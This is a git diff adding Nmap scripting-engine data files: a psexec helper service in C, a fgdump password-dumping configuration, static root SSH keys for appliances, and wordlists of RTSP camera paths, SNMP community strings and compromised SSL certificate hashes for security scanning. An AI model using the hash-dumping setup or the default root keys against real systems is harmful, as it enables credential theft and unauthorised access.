+ else
+ {
+ /* Run the programs we were given. */
+ for(i = 0; i < count; i++)
+ {
+ char *program = argv[(i*5) + 7];
+ char *env = argv[(i*5) + 8];
+ char *headless = argv[(i*5) + 9];
+ char *include_stderr = argv[(i*5) + 10];
+ char *read_file = argv[(i*5) + 11];
+
+ go(i, program, env, !strcmp(headless, "true"), !strcmp(include_stderr, "true"), read_file);
+ }
+
+ /* Close the output file. */
+ if(fclose(outfile))
+ log_message("Couldn't close the file: %d", errno);
+
+ /* Rename the output file (this is what tells Nmap we're done. */
+ log_message("Renaming file %s => %s", tempfile_name, outfile_name);
+
+ /* I noticed that sometimes, programs inherit the handle to the file (or something), so I can't change it right
+ * away. For this reason, allow about 10 seconds to move it. */
+ for(i = 0; i < 10; i++)
+ {
+ if(rename(tempfile_name, outfile_name))
+ {
+ log_message("Couldn't rename file: %d (will try %d more times)", errno, 10 - i - 1);
+ }
+ else
+ {
+ log_message("File successfully renamed!");
+ break;
+ }
+
+ Sleep(1000);
+ }
+
+ /* Clean up and stop the service. */
+ die(0);
+ }
+}
+
+int main(int argc, char *argv[])
+{
+ SERVICE_TABLE_ENTRY ServiceTable[2];
+ ServiceTable[0].lpServiceName = "";
+ ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
+
+ ServiceTable[1].lpServiceName = NULL;
+ ServiceTable[1].lpServiceProc = NULL;
+ // Start the control dispatcher thread for our service
+ StartServiceCtrlDispatcher(ServiceTable);
+}
+
diff --git a/nselib/data/psexec/nmap_service.vcproj b/nselib/data/psexec/nmap_service.vcproj
new file mode 100644
index 0000000..d250a71
--- /dev/null
+++ b/nselib/data/psexec/nmap_service.vcproj
@@ -0,0 +1,194 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="9.00"
+ Name="nmap_service"
+ ProjectGUID="{ECFB8033-F0DA-40FA-9C47-DBE06DAB6A5F}"
+ RootNamespace="nmap_service"
+ Keyword="Win32Proj"
+ TargetFrameworkVersion="196613"
+ >
+ <Platforms>
+ <Platform
+ Name="Win32"
+ />
+ </Platforms>
+ <ToolFiles>
+ </ToolFiles>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+ IntermediateDirectory="$(ConfigurationName)"
+ ConfigurationType="1"
+ CharacterSet="1"
+ >
+ <Tool
+ Name="VCPreBuildEventTool"
+ />
+ <Tool
+ Name="VCCustomBuildTool"
+ />
+ <Tool
+ Name="VCXMLDataGeneratorTool"
+ />
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"
+ />
+ <Tool
+ Name="VCMIDLTool"
+ />
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="true"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="3"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ DebugInformationFormat="4"
+ />
+ <Tool
+ Name="VCManagedResourceCompilerTool"
+ />
+ <Tool
+ Name="VCResourceCompilerTool"
+ />
+ <Tool
+ Name="VCPreLinkEventTool"
+ />
+ <Tool
+ Name="VCLinkerTool"
+ LinkIncremental="2"
+ GenerateDebugInformation="true"
+ SubSystem="1"
+ TargetMachine="1"
+ />
+ <Tool
+ Name="VCALinkTool"
+ />
+ <Tool
+ Name="VCManifestTool"
+ />
+ <Tool
+ Name="VCXDCMakeTool"
+ />
+ <Tool
+ Name="VCBscMakeTool"
+ />
+ <Tool
+ Name="VCFxCopTool"
+ />
+ <Tool
+ Name="VCAppVerifierTool"
+ />
+ <Tool
+ Name="VCPostBuildEventTool"
+ />
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+ IntermediateDirectory="$(ConfigurationName)"
+ ConfigurationType="1"
+ CharacterSet="2"
+ WholeProgramOptimization="1"
+ >
+ <Tool
+ Name="VCPreBuildEventTool"
+ />
+ <Tool
+ Name="VCCustomBuildTool"
+ />
+ <Tool
+ Name="VCXMLDataGeneratorTool"
+ />
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"
+ />
+ <Tool
+ Name="VCMIDLTool"
+ />
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ EnableIntrinsicFunctions="true"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ RuntimeLibrary="0"
+ EnableFunctionLevelLinking="true"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="false"
+ DebugInformationFormat="3"
+ />
+ <Tool
+ Name="VCManagedResourceCompilerTool"
+ />
+ <Tool
+ Name="VCResourceCompilerTool"
+ />
+ <Tool
+ Name="VCPreLinkEventTool"
+ />
+ <Tool
+ Name="VCLinkerTool"
+ LinkIncremental="1"
+ GenerateDebugInformation="true"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"
+ />
+ <Tool
+ Name="VCALinkTool"
+ />
+ <Tool
+ Name="VCManifestTool"
+ />
+ <Tool
+ Name="VCXDCMakeTool"
+ />
+ <Tool
+ Name="VCBscMakeTool"
+ />
+ <Tool
+ Name="VCFxCopTool"
+ />
+ <Tool
+ Name="VCAppVerifierTool"
+ />
+ <Tool
+ Name="VCPostBuildEventTool"
+ />
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+ UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+ >
+ <File
+ RelativePath=".\nmap_service.c"
+ >
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc;xsd"
+ UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+ >
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+ UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+ >
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/nselib/data/psexec/pwdump.lua b/nselib/data/psexec/pwdump.lua
new file mode 100644
index 0000000..3ec256d
--- /dev/null
+++ b/nselib/data/psexec/pwdump.lua
@@ -0,0 +1,52 @@
+---This config file is designed for running password-dumping scripts. So far,
+-- it supports pwdump6 2.0.0 and fgdump.
+--
+-- Note that none of these modules are included with Nmap by default.
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+--overrides.timeout = 40
+
+modules = {}
+local mod
+
+--mod = {}
+--mod.upload = true
+--mod.name = "PwDump6 2.0.0"
+--mod.program = "PwDump.exe"
+--mod.args = "localhost"
+--mod.maxtime = 10
+--mod.include_stderr = false
+--mod.url = "http://www.foofus.net/fizzgig/pwdump/"
+--table.insert(modules, mod)
+
+---Uncomment if you'd like to use PwDump6 1.7.2 (considered obsolete, but still works).
+-- Note that for some reason, this and 'fgdump' don't get along (fgdump only produces a blank
+-- file if these are run together)
+--mod = {}
+--mod.upload = true
+--mod.name = "PwDump6 1.7.2"
+--mod.program = "PwDump-1.7.2.exe"
+--mod.args = "localhost"
+--mod.maxtime = 10
+--mod.include_stderr = false
+--mod.extrafiles = {"servpw.exe", "lsremora.dll"}
+--mod.url = "http://www.foofus.net/fizzgig/pwdump/"
+--table.insert(modules, mod)
+
+-- Warning: the danger of using fgdump is that it always write the output to the harddrive unencrypted;
+-- this makes it more obvious that an attack has occurred.
+mod = {}
+mod.upload = true
+mod.name = "FgDump"
+mod.program = "fgdump.exe"
+mod.args = "-c -l fgdump.log"
+mod.maxtime = 10
+mod.url = "http://www.foofus.net/fizzgig/fgdump/"
+mod.tempfiles = {"fgdump.log"}
+mod.outfile = "127.0.0.1.pwdump"
+table.insert(modules, mod)
+
+
diff --git a/nselib/data/publickeydb b/nselib/data/publickeydb
new file mode 100644
index 0000000..fa81e9c
--- /dev/null
+++ b/nselib/data/publickeydb
@@ -0,0 +1,3 @@
+AAAAB3NzaC1kc3MAAACBAISAE3CAX4hsxTw0dRc0gx8nQ41r3Vkj9OmG6LGeKWRmpy7C6vaExuupjxid76fd4aS56lCUEEoRlJ3zE93qoK9acI6EGqGQFLuDZ0fqMyRSX+ilf+1HDo/TRyuraggxp9Hj9LMpZVbpFATMm0+d9Xs7eLmaJjuMsowNlOf8NFdHAAAAFQCwdvqOAkR6QhuiAapQ/9iVuR0UAQAAAIBpLMo4dhSeWkChfv659WLPftxRrX/HR8YMD/jqa3R4PsVM2g6dQ1191nHugtdV7uaMeOqOJ/QRWeYM+UYwT0Zgx2LqvgVSjNDfdjk+ZRY8x3SmExFi62mKFoTGSOCXfcAfuanjaoF+sepnaiLUd+SoJShGYHoqR2QWiysTRqknlwAAAIBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrnk/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQ==,root,Quantum DXi V1000 2.2.1 static root publickey accepted,source:http://www.exploit-db.com/exploits/32372/
+AAAAB3NzaC1kc3MAAACBAKwKBw7D4OA1H/uD4htdh04TBIHdbSjeXUSnWJsce8C0tvoB01Yarjv9TFj+tfeDYVWtUK1DA1JkyqSuoAtDANJzF4I6Isyd0KPrW3dHFTcg6Xlz8d3KEaHokY93NOmB/xWEkhme8b7Q0U2iZie2pgWbTLXV0FA+lhskTtPHW3+VAAAAFQDRyayUlVZKXEweF3bUe03zt9e8VQAAAIAEPK1k3Y6ErAbIl96dnUCnZjuWQ7xXy062pf63QuRWI6LYSscm3f1pEknWUNFr/erQ02pkfi2eP9uHl1TI1ql+UmJX3g3frfssLNZwWXAW0m8PbY3HZSs+f5hevM3ua32pnKDmbQ2WpvKNyycKHi81hSI14xMcdblJolhN5iY8/wAAAIAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkA==,root,Loadbalancer.org Enterprise VA 7.5.2 static root publickey accepted,source:http://www.exploit-db.com/exploits/32371/
+AAAAB3NzaC1yc2EAAAABIwAAAIEAvIhC5skTzxyHif/7iy3yhxuK6/OB13hjPqrskogkYFrcW8OK4VJT+5+Fx7wd4sQCnVn8rNqahw/x6sfcOMDI/Xvn4yKU4t8TnYf2MpUVr4ndz39L5Ds1n7Si1m2suUNxWbKv58I8+NMhlt2ITraSuTU0NGymWOc8+LNi+MHXdLk=,root,f5 BigIP static root publickey accepted,source:https://community.rapid7.com/community/metasploit/blog/2012/06/11/scanning-for-vulnerable-f5-bigips-with-metasploit
diff --git a/nselib/data/rtsp-urls.txt b/nselib/data/rtsp-urls.txt
new file mode 100644
index 0000000..1c586ff
--- /dev/null
+++ b/nselib/data/rtsp-urls.txt
@@ -0,0 +1,178 @@
+#!comment: The following dictionary contains a list of well-known RTSP URLs
+#!comment: used by common video surveillance equipment.
+/
+/0
+/0/video1
+/1
+/1.AMP
+/1/1:1/main
+/1/cif
+/1/stream1
+/11
+/12
+/4
+/CAM_ID.password.mp2
+/CH001.sdp
+/GetData.cgi
+/H264
+/HighResolutionVideo
+/HighResolutionvideo
+/Image.jpg
+/LowResolutionVideo
+/MJPEG.cgi
+/MediaInput/h264
+/MediaInput/h264/stream_1
+/MediaInput/mpeg4
+/ONVIF/MediaInput
+/ONVIF/channel1
+/PSIA/Streaming/channels/0?videoCodecType=H.264
+/PSIA/Streaming/channels/1
+/PSIA/Streaming/channels/1?videoCodecType=MPEG4
+/PSIA/Streaming/channels/h264
+/Possible
+/ROH/channel/11
+/Streaming/Channels/1
+/Streaming/Channels/101
+/Streaming/Channels/102
+/Streaming/Channels/103
+/Streaming/Channels/2
+/Streaming/Unicast/channels/101
+/Streaming/channels/101
+/Video?Codec=MPEG4&Width=720&Height=576&Fps=30
+/VideoInput/1/h264/1
+/access_code
+/access_name_for_stream_1_to_5
+/av0_0
+/av0_1
+/av2
+/avn=2
+/axis-media/media.amp
+/axis-media/media.amp?videocodec=h264&resolution=640x480
+/cam
+/cam/realmonitor
+/cam/realmonitor?channel=1&subtype=00
+/cam/realmonitor?channel=1&subtype=01
+/cam/realmonitor?channel=1&subtype=1
+/cam0_0
+/cam0_1
+/cam1/h264
+/cam1/h264/multicast
+/cam1/mjpeg
+/cam1/mpeg4
+/cam1/onvif-h264
+/cam4/mpeg4
+/camera.stm
+/cgi-bin/viewer/video.jpg?resolution=640x480
+/ch0
+/ch0.h264
+/ch001.sdp
+/ch01.264
+/ch0_0.h264
+/ch0_unicast_firststream
+/ch0_unicast_secondstream
+/channel1
+/dms.jpg
+/dms?nowprofileid=2
+/h264
+/h264.sdp
+/h264/ch1/sub/
+/h264/media.amp
+/h264Preview_01_main
+/h264Preview_01_sub
+/h264_vga.sdp
+/image.jpg
+/image.mpg
+/image/jpeg.cgi
+/img/media.sav
+/img/video.asf
+/img/video.sav
+/ioImage/1
+/ipcam.sdp
+/ipcam/stream.cgi?nowprofileid=2
+/ipcam_h264.sdp
+/jpg/image.jpg?size=3
+/live
+/live.sdp
+/live/av0
+/live/ch0
+/live/ch00_0
+/live/ch00_1
+/live/ch1
+/live/ch2
+/live/h264
+/live/mpeg4
+/live0.264
+/live1.264
+/live1.sdp
+/live2.sdp
+/live3.sdp
+/live_h264.sdp
+/live_mpeg4.sdp
+/livestream
+/livestream/
+/media
+/media.amp
+/media/media.amp
+/media/video1
+/media/video2
+/media/video3
+/medias1
+/mjpeg.cgi
+/mjpeg/media.smp
+/mp4
+/mpeg4
+/mpeg4/1/media.amp
+/mpeg4/media.amp
+/mpeg4/media.amp?resolution=640x480
+/mpeg4/media.smp
+/mpeg4cif
+/mpeg4unicast
+/mpg4/rtsp.amp
+/multicaststream
+/now.mp4
+/nph-h264.cgi
+/nphMpeg4/g726-640x
+/nphMpeg4/g726-640x480
+/nphMpeg4/nil-320x240
+/onvif-media/media.amp
+/onvif/live/2
+/onvif1
+/onvif2
+/play1.sdp
+/play2.sdp
+/profile
+/recognizer
+/rtpvideo1.sdp
+/rtsp_tunnel
+/rtsph264
+/rtsph2641080p
+/stream1
+/stream2
+/streaming/mjpeg
+/synthesizer
+/tcp/av0_0
+/ucast/11
+/unicast/c1/s1/live
+/user.pin.mp2
+/user_defined
+/video
+/video.3gp
+/video.cgi
+/video.cgi?resolution=VGA
+/video.cgi?resolution=vga
+/video.h264
+/video.mjpg
+/video.mp4
+/video.pro1
+/video.pro2
+/video.pro3
+/video/mjpg.cgi
+/video1
+/video1+audio1
+/video2.mjpg
+/videoMain
+/videoinput_1:0/h264_1/onvif.stm
+/videostream.cgi?rate=0
+/vis
+/wfov
+/user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream
diff --git a/nselib/data/snmpcommunities.lst b/nselib/data/snmpcommunities.lst
new file mode 100644
index 0000000..c8b24f8
--- /dev/null
+++ b/nselib/data/snmpcommunities.lst
@@ -0,0 +1,27 @@
+#!comment: This collection of data is (C) 1996-2022 by Nmap Software LLC.
+#!comment: It is distributed under the Nmap Public Source license as
+#!comment: provided in the LICENSE file of the source distribution or at
+#!comment: https://nmap.org/npsl/. Note that this license
+#!comment: requires you to license your own work under a compatable open source
+#!comment: license. If you wish to embed Nmap technology into proprietary
+#!comment: software, we sell alternative licenses at https://nmap.org/oem/.
+
+public
+private
+snmpd
+mngt
+cisco
+admin
+PUBLIC
+PRIVATE
+#!comment: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160831-sps3
+rmonmgmtuicommunity
+#!comment: http://www.phenoelit.org/dpl/dpl.html
+secret
+cascade
+ANYCOM
+ILMI
+volition
+TENmanUFactOryPOWER
+MiniAP
+snmp-Trap
diff --git a/nselib/data/ssl-fingerprints b/nselib/data/ssl-fingerprints
new file mode 100644
index 0000000..510e989
--- /dev/null
+++ b/nselib/data/ssl-fingerprints
@@ -0,0 +1,2077 @@
+# SHA-1 hashes of SSL certificates that have known private keys. Most
+# of these are from Little Black Box 0.1
+# (http://code.google.com/p/littleblackbox/), which has this copyright
+# notice:
+#
+# Copyright (c) 2010 Craig Heffner
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+[Little Black Box 0.1 - http://code.google.com/p/littleblackbox/]
+0028E7D49CFA4AA5984FE497EB7348560787E496
+003AE545D69C47FB1CC25359AAD75462D6D78990
+003CF1AB48B46C415E4815103FF828AC7C60D551
+005F7D0E911713E88CB56CFCDA247F45AC2FA78F
+0062DE217DA4235D3B197990DEB06BC071EFDEA3
+00778E4DD1FEE4ACF2CC042F5A68A31496CC9A2B
+008869F7DD3E19EFB398D26145A81A5EA5848AEF
+008A4B58ACC1F61C7B622C9F4DF8488099B0425C
+00AA62A5668D9AEAB59847DAA8EFCC7D9B5916CD
+00ADF0104B73879D902695178DEFC4E1FC548E00
+00AF01CCC88B0C036B2213388BDE542E3BBD60AE
+011DC69E2830DBE85D343CE4629C092CFEA8E345
+0177F777328A14788B8BBB617748273B4A1A84E5
+01B1D417A44D10F4D0DCFF5765A1790993D99F3E
+01C577A8EB0F567B5AF92F0F27411913E6567644
+01FF3DFABA197AD6AFC489363B145E4189AE2C9D
+024291D95F48D43C227625465D81F25BEF83C94A
+027FD38B146FFFC5DBD0E087AF3474FC175A97BD
+02CB0087FC391369B844535401C814D55CE42FBC
+02EC15C67E4CF58B4768D6F382B0ECF650BAB03B
+02FD16F44C5A4ABC33263A7E26336C5C6258976B
+02FD5063E02ACF9373FD3E6FA6945A60F290AF2D
+030FAD5B18220264DC0BE0FF30C20EFE0226E6BF
+03364CA36D0DC12B6F66D3C6AB42D27A2CAF1EB6
+035009F29207F741DB81A3A3B4293A3C798F0114
+0354368267C71061D84D0FFD040AA9A54201BE15
+0376F889493A32354D1329D476CEEF6EEFE2C248
+037AE4CB60EF8172276473EADF1881A29FEC999F
+03C4DC66BF61444B1CA5EA08525E95A417F7729C
+03E25861C78F678F8851F797E3B2298C900C3255
+040DFE049BA908B5532ACE782DC63ACADCB0A817
+0410109EAF83D3C1CBEAA3A865871865BB2C88FF
+042CA959C1BD0FB7FBE1CE5C410CA6FD54F5A89C
+0437FEB4592095B7609D99B3A39394633F4A83DB
+046BFAB79D91D1FB7E2D75BC0B288E307645E278
+047F91097867E1B2466D04699DED70FDD5C35971
+049BE4A986FCA4ECED596D5CF6C4F11240DE4E4F
+04A3A57592A767AEB270371A633B379CD3A4BF53
+04B92721F58A505CAD74A85ED44C0932725A2491
+056004DE100224A766D8DFDEA82BCC3D2DCE9FD2
+0570F9B16DA604AC0326C22F31AB4EFFA46C4FBF
+057539914875FCBED4429E4A77E91408189371F1
+05879EF9E8971C7DDDE7E60FF2760B755E15F5B9
+059632B62403C085D2BE3E0FDC41C85F5E9886E9
+05B8D5CF0A9FB3C2C76BDDAC3A69BB5AF9343C85
+05E22D642A4DB3362DDDB8FE0FFB8B8051882468
+0623E4D65D97C70266683776D38E4E5B5C5A7EDD
+0637E9C460828C1E24EDCAC0F7F886D7675E6BDB
+066B07637BE43083176A16C1C986E9E0E49A8F02
+0676AEB9DF6D244DDDCE99FAE528CDA5716DDCB5
+068B4EE7F7CA37003B459ADEEE8275F8EF352A5F
+06FA8370BF79230E92EC0FB98EACD0BE306A24E5
+0716D58E6FD370607245D1BA522FE32B3F07654F
+0885852701A8836F4BA0562C010FD399455EAB8A
+0885865EB7AF391C0A016C96331312CA47423BD5
+08A414069A2EE13C9597D84862E9C7870F9975BD
+08B3A6C2FF91BDED63A787E545445BDAF44DCC01
+08B44D0B3FF9C009C55EFFF37E00F84AE7874A49
+0912E4A32E0D851BF392E71B022A57406153348C
+0925F01F2B61CF3509AF67DFA22F7D3D7D6B9A48
+0938DD1FF4E20EBC6FA34BC616C3F9F0F343E6B0
+094DC156483EC2105FAC8B114E19640781EFC78B
+0995654FD2F7DD6A6F302D80A1B52C8C9F337CE8
+09ACDD724F45DADD2D3F658B1444E284353A883F
+09AF3DD9D64BFA1FF5AA509589DF7030A19469C2
+09B0D0B6C3BC97353E2E93CA90AB70A03915B955
+0A337F71CDC595FF23BDD6DC3B8847E82C22FF40
+0A88F166480E2A47A1CFEC7B883997AACB78FF27
+0A8A81DFF12A731855CAE8BA57797EBD106313CC
+0A9F147DB4CE87EE9619D4CD66043C607E4037D3
+0AE0F050AE5B84DDFBB2A0A87C1B70A1582466CC
+0AF14A425C0B5818D72D0630BD58D47D76777B6F
+0B2ABCF5CC601B7F2B94597C5D5C4DA5F23BF4D1
+0B3740FDD2039F6134F6CDCF9FF18938637E19F2
+0B445C6CCAA1D992F635EDDC4B684B66F2D6CC6A
+0B5797CBC14AA45611DF703974B55C3099A02EBF
+0B62C078F5BE80EA4279DA38765E2878130F2988
+0B7C0FA587478A31DEF67299FA78C06ED3A0C435
+0BA1AB756C0DEB8996308DFE5E0636670C2B6BD7
+0BA4FD79678C04FBC6997D5350C102CBA0A1CE4E
+0BC5EB8FF3CED9CB3FCA438353516005E4B4AD07
+0BDF5642E6ACDC3564DAABFF7B55897E7BF67E22
+0C076D83640E79A1BDBBA06E4ED293DEC1FD8A93
+0C1EA20D7C26D20F24E021424E54B1CB6BDC806E
+0C62D633564819699A7660CE157F606A89A9C128
+0C6B126E48ECD9F7A6B46023BD460AE4F0587A99
+0C74B7B185CCECF8016EB4E5D65E0801E182EC10
+0C8426F13767CDD1251796ED47BB5999AC64C21B
+0C857C019E7CBD00D5812934DC073407F5F4FF53
+0C994A87C51A9420586BA34E741A7015EFC86A6B
+0C9AE3C4CB5E2DEAB8C92F1F54518282CC54577F
+0C9BDF63B6758C8D12E3E9D6AEC7233503023FC8
+0D08E5DEFA5FBA9BAC86719EDBECFFC880B7629D
+0D0C666454B68A86DF80204B319199E74327D458
+0D0EF66E50B8B79E599FBB48C15CADA0256A0047
+0D1EAA42CFDEB4D184AEA5F30A478417C8E6DE09
+0D2BAE6D6E5E0A84CE477234C96355621B98CA37
+0D4E93F160DCD2BEF5D60B496E7309EF2ADE2045
+0D96B5323F61051774BF4401A5CF34AD83B849A1
+0DAC589433480FFAE7D5FBFCDC4F7769C713AC46
+0DC75910B5A03F97005C33519B0AFD4E984B7CB7
+0DD180B17454661D2E11A8C515F7B4CA7E023235
+0E1EF650AD95A3280975312DABE5B0DDAF893E41
+0E7C9F9675E1FF8AC3B11DC6347D4A3F99F76F76
+0E83958E67ACCA277D01A4053F56C0CA0B3048B1
+0EA5AFC691A42D1A2E2FDC3AD226D19FF477C283
+0EB40D58FBBCB3144728DA306F35A8BAEC6DAA61
+0EF3B3D800EEACC9B7D99F566146FF0A956A8ECA
+0F360DBD0F73A7C508158C028570C4A84D065A6F
+0F80EEAD04BD6918A81959D2F4E652FFA3A5CF95
+0F87F321043483952BF8CF13120F853E274280FA
+0FBDF5960375A9DEC6DAFBE1A80285D010CAD557
+0FCF6F899BD5D98D6BBBDA79BFF151D3C54E682C
+101BE139A21088FFEC652688296384A54C927CCE
+105D19C8EBD37690EF6B008569B8F8A1C4337720
+1074E3320EB3280F5546BC6D778444AA009E22E4
+108A64B6B06FC59BF3B2C32AE85D84C4123CB4F2
+109B241D795D5FED58A4129C567E28F36B047FF5
+10C3F22E977E12496BB81C2900761B3339F48C56
+10CCB67A898666CC5CD2AEA55C101776D42A9135
+1109C703555CEF925198CBC02D1957B0CF29F335
+1125670E640AC550589B57E9DAE91819CF4BA408
+1130CB798F9E3B813D876C9F28666AE23C1251CF
+11391BB344D9F46D02BC5DDFF64ACC09995F5BEA
+1139830C7217904CBD9A214BB456100BDAFD7ECE
+113EAD2410C5BFD7E18A5E5DBD69AFDA0C50F338
+11555E078DD3B0F24CE07435B5F9302EF8CA6692
+11906FD3F79712113983452F4AFC5B3B60FD5112
+11AB4AFE12A76F98ECA016EB0011918E0D864655
+11B22D2583C81A5D372734C032DCB6E123D79BD7
+11CF9DC7D0EF8A1FCC0306388190DD317D31A65C
+11E8146C2349CD6389F742F494EAEF8071C27317
+1205D60E52098F39551FF31DF25DDDA0BAD254C4
+124D975AC45767A30E2D01C0429760F0F3BC49CE
+125171478193B81570784A5A657D1D02FA5B6E79
+125D4AF850C14E158F90ACFA6359B715B51E4961
+12675F71F0669CBD8C8481F3F4BF79561877E0D6
+126F5DF6BDC8462EA6F033C09F7CF0305981CE2E
+127B38C88F3CD9C8F4C6CD346C49F7DC0382C2C8
+1284FEE440409A6B225BCCC7DEA2607E04FE32C8
+12879B1A382F5AD59AB38B3873DC3A4EEC3CF9B5
+12914D1BEA2DF085A950EB1A6D93804B1F35B459
+12973BAEF01D5CE4B553734AB37F2E0180CC1706
+12B199502D42C8EA69485E9AED7BE6A048398D32
+1306FD4F670EAF431E818A405DE46E15A4D51CF8
+131FAB28A50012DE4D0689410A6BECED1914634A
+1356038233A25CDCE503319C42E731F53B2B07AA
+1385CFBA7D3EAF574170F589870FD91053DA9E88
+13D28E0FF871D74555B8289141692F118B831D4C
+13D6115C8EA97CFD498E3B95052DB91C3542F200
+142FA415DB78A19EE02899FCACA7EE65FB660B6A
+144B1D34B62ECF97743584FAE2A0C15E2ECEB4EA
+1464B1C70A66A5F2ABFF13430C49401795BB247E
+1466BBB8B54C7A380546E140E2EED8AA573D7961
+146E851531736F5DFD9E4EAD1052353577AAABE4
+1481319C54D2376B34122939696467C3F2C0EE7B
+1495D72B32FDC6A3C826C02A05CD299AFD72A0F0
+14AEC42F6FB93D8C1724362C9E276A6DCD7DDADD
+14C6ED853F4FFF918C3174D030B2B06288038F7C
+14F177B8A7EE23AD1FC2845F07C681DDF216F661
+1505830DD441B82582C8547C202C150B68DAB16D
+1516838F69597236E2C3C818FC85C063A78D2D9A
+1534DDFCA32259E6C154EA0D1D1B9B8F68AE5C60
+153F0FEAC61A241ABE59A1D6C25CBD80D906B92E
+1551FA927994159822CA7D2F74E8B60330E7A4AB
+1558340FE9664AEF40BAC3C4AD4AEC28E3CFA6AB
+1615FE675E8EF5DD2C782303EC7AA257F7057287
+165568D34C4E7E75BA1BA91D24B5297008CE688A
+1673AC4E743ECF48BA125599F96B862F85DF7BF8
+167FB1737D09711FB7094F053EAB58EC1E7D9A81
+169E20F8E90953A773F193A16F5589CEC2712FBB
+169F965BD5B424B84B710569EFE68C1D63DB8526
+17058CFD3A167EBA6283F69F20BFD6EA2AE038E2
+173D943AF2494D2BD5396DA89741F20264E45C14
+1742BD228DC19B8E6792905817C23B66CA660152
+17522DAB2D61CEFC1776CF1625E9F9225682708F
+1766948EFA3CCE470728960500894744FF0D6C37
+1773A188689841E9AA14D3DDF7DEE5FFDC1849FD
+177B46DD7C35E2A5D985EAC41464F445DD082095
+1781EFE2C3F0046E9103BF73EF34DDE8FEFA9F1A
+178824B7D445056084A53D9F98523B5635F5A658
+17A50C9C068C091ECDB2329EFBC1BD3175BA1244
+17B30EEAD94A844009E3554F02B5F5B4DEC5BBAA
+17BA2CE076C6A8F9918B34648224FED334C6453D
+18006D023F1381CCC2A14B2933469FBBBB4C30C7
+180CA3D3FCD9138F6934F24E44298C4355A2DC64
+1857617F3B4DB9E9C04AE74BEC5419ACB402E208
+188140AA3FA5D72D46F806954F9163726E6834B5
+18966D870855909F9212BFFBF33F40BFD269DB17
+18A0E5E3A1EA534F881226FF6344AC58167C0EB2
+18C7A1F0B9319925834FC68C391D206FE7779E0F
+18DE97A853AEDCAB108257C4AD28C5D24265C006
+18E9AE8C4C73E0861350F35F24EE4D4462B4409E
+18F1BF2F71F5588ABBCE41D587B30E2684D5E37B
+19020DFE3A4392EF793F384D371EF06D6F94DCA8
+191187F9ED3095B50322AAB3EBA642A8DB617062
+197B7BA62F5E27B3BE8F8D38B10A149C992E7E01
+198AD577F98E0C387F5287025263118061BAD197
+1997F005C7E222EA033ECC7EA5EDEC717A4D8D96
+19A647DBB1173AB2F2BC56DA4B4AE18386F262CA
+19BCA708CF2A2EF464DBC907FB402D03CB6E8E59
+19C8D98A9C0B3B703C3BB8C4E38E4601D71633CC
+1A1EA840D4C87FCDF9CA5EAD4E520519D514CF8C
+1A3681716C84BD57C6D6334898089AD7433A6F94
